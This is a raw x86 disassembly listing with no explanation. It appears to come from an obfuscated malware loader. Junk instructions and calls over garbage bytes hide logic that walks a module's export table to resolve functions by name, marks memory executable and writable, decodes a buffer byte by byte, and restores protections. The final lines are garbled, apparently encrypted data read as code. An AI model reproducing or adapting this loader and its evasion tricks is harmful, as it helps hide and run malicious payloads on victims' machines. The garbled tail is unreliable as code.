mov dx, word [ebp - 0xfe4]
mov word [ebp - 0x34], dx
push edx
xor edx, 0x9a01
pop edx
push eax
or eax, 0x475d
pop eax
push edx
or edx, 0x1754b
and edx, 0x4c41
and edx, 0xaf2c
pop edx
push esi
and esi, 0x7c4e
xor esi, 0x11040
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4040c0
movzx ecx, word [ebp - 0x1c0]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1584], ecx
jmp 0x40411a
movzx eax, word [ebp - 0x1c0]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x403fe8
movzx edx, word [ebp - 0x1c0]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x403fe8
movzx ecx, word [ebp - 0x1c0]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x404104
mov dword [ebp - 0x1580], 0xffffffff
jmp 0x40410e
mov dword [ebp - 0x1580], 1
mov eax, dword [ebp - 0x1580]
mov dword [ebp - 0x1584], eax
cmp dword [ebp - 0x1584], 0
jne 0x404163
push edx
push edx
add esp, 4
or edx, 0x157e8
sub edx, 0x4431
sub edx, 0xfc48
pop edx
push ebx
push eax
add esp, 4
jmp 0x404148
sub ebx, 0x5796
or ebx, 0x13343
pop ebx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x2a0], ecx
jmp 0x4041cb
push esi
push esi
add esp, 4
xor esi, 0x76df
call 0x40417c
add byte [edi], bh
dec ebx
cmp dword [ecx], edi
cmp ecx, dword [esi + 0x3f]
inc ebp
add esp, 4
add esi, 0x176d5
call 0x404191
add byte [esi + 0x3f], al
xor al, 0x3d
xor edi, dword [ecx]
add esp, 4
pop esi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc78]
je 0x4041c1
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x403f8c
mov dword [ebp - 0x2a0], 0
push edi
add edi, 0x82da
pop edi
push ebx
jmp 0x4041dc
add ebx, 0x3cdc
sub ebx, 0x84ee
xor ebx, 0x8be3
pop ebx
push esi
xor esi, 0x12818
sub esi, 0xbc35
pop esi
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x314], ecx
push edx
call 0x40421a
add byte [edi], bh
push eax
cmp eax, 0x44433e44
add esp, 4
sub edx, 0xa17
or edx, 0x1658b
pop edx
push edi
xor edi, 0xaece
add edi, 0xbe29
sub edi, 0x16566
pop edi
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x314]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x40426e
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], eax
jmp 0x40455f
mov ecx, dword [ebp - 0x1588]
mov edx, dword [ebp - 0x314]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x158c], edx
jne 0x404296
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], eax
jmp 0x40455f
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x158c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1590], ecx
cmp dword [ebp - 0x1590], 0
jne 0x4042c8
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], edx
jmp 0x40455f
mov eax, dword [ebp - 0x314]
add eax, dword [ebp - 0x1590]
mov dword [ebp - 0x754], eax
jne 0x4042ed
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], ecx
jmp 0x40455f
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x314]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1c5c], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x314]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1c60], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x314]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1c64], ecx
mov dword [ebp - 0x758], 0
jmp 0x404347
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [eax + 0x18]
jae 0x404553
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1c5c]
mov ecx, dword [ebp - 0x314]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1c60]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1c64]
mov eax, dword [ebp - 0x314]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1c68], eax
mov dword [ebp - 0x15c], 0
jmp 0x4043b7
mov ecx, dword [ebp - 0x15c]
add ecx, 1
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x15c]
movsx eax, byte [edx]
test eax, eax
je 0x404469
mov ecx, dword [ebp - 0x15c]
movsx edx, byte [ebp + ecx - 0x978]
test edx, edx
je 0x404469
push edi
push esi
add esp, 4
sub edi, 0x14fe1
or edi, 0x168f1
call 0x404401
add byte [edi], dh
dec ecx
xor al, 0x4f
xor al, byte [edi - 0x7d]
les eax, [ecx + eax*4]
out 0x7e, eax
call 0x509f440c
jmp 0x404415
pop eax
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x15c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x15c]
movsx eax, byte [ebp + edx - 0x978]
cmp ecx, eax
je 0x40445b
mov ecx, dword [ebp - 0x75c]
add ecx, dword [ebp - 0x15c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x15c]
movsx ecx, byte [ebp + eax - 0x978]
cmp edx, ecx
jne 0x404462
jmp 0x4043a8
jmp 0x404469
push ecx
add ecx, 0x468
and ecx, 0xb7fd
or ecx, 0xb695
pop ecx
push edx
push edx
add esp, 4
sub edx, 0xc327
pop edx
push esi
push edx
add esp, 4
sub esi, 0xab4a
and esi, 0x9f02
pop esi
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x15c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x15c]
movsx edx, byte [ebp + ecx - 0x978]
cmp eax, edx
jne 0x4044c8
mov dword [ebp - 0xc7c], 0
jmp 0x404537
push esi
push edx
add esp, 4
add esi, 0x134d
or esi, 0xe35b
call 0x4044e8
add byte [ebx + 0x4a], cl
dec edi
xor eax, 0x3b4c4e34
cmp al, byte [ebx - 0x397efb3c]
xchg esp, eax
dec ecx
add byte [eax], al
pop esi
push eax
add eax, 0x14e3b
pop eax
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x15c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x15c]
movsx eax, byte [ebp + edx - 0x978]
or eax, 0x20
cmp ecx, eax
jge 0x40452d
mov dword [ebp - 0xc7c], 0xffffffff
jmp 0x404537
mov dword [ebp - 0xc7c], 1
cmp dword [ebp - 0xc7c], 0
jne 0x40454e
mov ecx, dword [ebp - 0x1c68]
mov dword [ebp - 0x4dc], ecx
jmp 0x40455f
jmp 0x404338
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], edx
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0xa50], eax
push ebx
push esi
add esp, 4
add ebx, 0x13ccb
add ebx, 0x1beb
xor ebx, 0x2911
pop ebx
push esi
push ebx
add esp, 4
jmp 0x404590
or esi, 0xddc5
sub esi, 0x2c40
pop esi
mov ecx, dword [ebp - 0xa50]
mov dword [ebp - 0x1c6c], ecx
lea edx, [ebp - 0xc80]
push edx
push 0x40
mov eax, dword [ebp - 0x1594]
push eax
mov ecx, dword [ebp - 0x398]
push ecx
call dword [ebp - 0x1c6c]
test eax, eax
jne 0x404610
push eax
sub eax, 0x4f7b
jmp 0x4045d9
pop eax
push ecx
push edx
add esp, 4
jmp 0x4045e5
add ecx, 0xdb68
pop ecx
push ecx
jmp 0x4045f5
or ecx, 0xf594
pop ecx
mov edx, dword [ebp - 0x768]
mov dword [ebp - 0x1c70], edx
push 0
call dword [ebp - 0x1c70]
mov eax, dword [ebp - 0x1c74]
mov dword [ebp - 0x764], eax
jmp 0x40462d
mov ecx, dword [ebp - 0x764]
add ecx, 1
mov dword [ebp - 0x764], ecx
mov edx, dword [ebp - 0x764]
cmp edx, dword [ebp - 0xa54]
jae 0x404689
push esi
push edx
add esp, 4
add esi, 0x3f39
sub esi, 0x3c45
xor esi, 0x42c7
pop esi
push ecx
push ebx
add esp, 4
xor ecx, 0x68dd
jmp 0x404666
xor ecx, 0x121eb
pop ecx
movzx eax, byte [ebp - 0x3ad]
mov ecx, dword [ebp - 0x764]
movsx edx, byte [ecx]
sub edx, eax
mov eax, dword [ebp - 0x764]
mov byte [eax], dl
jmp 0x40461e
mov ecx, dword [ebp - 0xa50]
mov dword [ebp - 0x1c78], ecx
lea edx, [ebp - 0xc80]
push edx
mov eax, dword [ebp - 0xc80]
push eax
mov ecx, dword [ebp - 0x1594]
push ecx
mov edx, dword [ebp - 0x398]
push edx
call dword [ebp - 0x1c78]
test eax, eax
jne 0x404701
push esi
push esi
add esp, 4
jmp 0x4046c6
pop esi
push ebx
push eax
add esp, 4
xor ebx, 0x951f
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0xc7e9
and ebx, 0x17e22
pop ebx
push ebx
jmp 0x4046ec
pop ebx
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x1c7c], eax
push 0
call dword [ebp - 0x1c7c]
push eax
or eax, 0x164ee
call 0x404717
add byte [esi], bh
inc eax
inc esi
xor edi, dword [ecx]
dec edx
xor eax, 0x4c48343
sub eax, 0xda97
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0x15d44
sub ebx, 0x43f9
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop ebx
mov dl, bl
push ds
out 9, eax
or dword [ebx + 0x5f], esp
pop ecx
mov ebp, cs
or eax, 0x686bff8a
or dword [ecx], ecx
mov dh, bh
js 0x4047cd
or cl, byte [ecx]
mov cl, bh
daa
or dword [edx], 0xa8ef8a09
push ecx
or cl, byte [ecx]
pop ecx
pop esp
mov ebp, cs
or eax, 0xe681f18a
or dword [ecx], ecx
popal
iretd
insd dword es:[edi], dx
iretd